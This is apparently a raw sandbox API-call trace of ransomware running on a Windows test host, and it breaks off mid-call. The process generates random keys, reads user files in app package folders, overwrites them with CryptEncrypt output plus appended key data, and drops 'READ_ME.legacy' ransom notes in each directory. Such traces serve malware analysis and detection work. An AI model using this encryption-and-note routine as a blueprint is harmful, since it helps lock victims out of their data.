[0161.655] SetFilePointer (in: hFile=0x1240, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.655] WriteFile (in: hFile=0x1240, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.655] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.656] WriteFile (in: hFile=0x1240, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.656] WriteFile (in: hFile=0x1240, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.656] CloseHandle (hObject=0x1240) returned 1 [0161.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0161.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0161.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.659] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240 [0161.659] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.660] ReadFile (in: hFile=0x1240, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.662] SetFilePointer (in: hFile=0x1240, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.662] WriteFile (in: hFile=0x1240, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.662] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.662] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.662] WriteFile (in: hFile=0x1240, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.663] WriteFile (in: hFile=0x1240, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.663] CloseHandle (hObject=0x1240) returned 1 [0161.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.665] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0161.665] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.665] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1240 [0161.665] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.666] ReadFile (in: hFile=0x1240, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.666] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.666] WriteFile (in: hFile=0x1240, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.666] SetFilePointer (in: hFile=0x1240, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.666] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.666] WriteFile (in: hFile=0x1240, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.667] WriteFile (in: hFile=0x1240, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.667] CloseHandle (hObject=0x1240) returned 1 [0161.669] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8681db72, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61898 [0161.669] FindNextFileW (in: hFindFile=0x2f61898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8681db72, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.669] FindNextFileW (in: hFindFile=0x2f61898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.669] FindNextFileW (in: hFindFile=0x2f61898, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.669] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd16e5539, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f618d8 [0161.669] FindNextFileW (in: hFindFile=0x2f618d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd16e5539, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.669] FindNextFileW (in: hFindFile=0x2f618d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.670] FindNextFileW (in: hFindFile=0x2f618d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.670] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c62fb4a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x38070899, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61998 [0161.670] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c62fb4a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x38070899, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.670] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e7f89, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.670] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124c [0161.689] WriteFile (in: hFile=0x124c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.690] CloseHandle (hObject=0x124c) returned 1 [0161.690] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e892a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.690] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124c [0161.693] WriteFile (in: hFile=0x124c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.693] CloseHandle (hObject=0x124c) returned 1 [0161.693] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e8f8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.694] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124c [0161.694] WriteFile (in: hFile=0x124c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.695] CloseHandle (hObject=0x124c) returned 1 [0161.696] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.696] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.696] FindNextFileW (in: hFindFile=0x2f61998, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.696] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c5e36c8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9b9b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61bd8 [0161.696] FindNextFileW (in: hFindFile=0x2f61bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c5e36c8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9b9b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.696] FindNextFileW (in: hFindFile=0x2f61bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.696] FindNextFileW (in: hFindFile=0x2f61bd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed3127ec, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed3127ec, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed3127ec, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.696] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9f95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61c18 [0161.697] FindNextFileW (in: hFindFile=0x2f61c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9f95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.697] FindNextFileW (in: hFindFile=0x2f61c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.697] FindNextFileW (in: hFindFile=0x2f61c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.697] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea38a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61c58 [0161.697] FindNextFileW (in: hFindFile=0x2f61c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea38a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.697] FindNextFileW (in: hFindFile=0x2f61c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed338a51, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed338a51, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.697] FindNextFileW (in: hFindFile=0x2f61c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed338a51, ftCreationTime.dwHighDateTime=0x1d511a7, 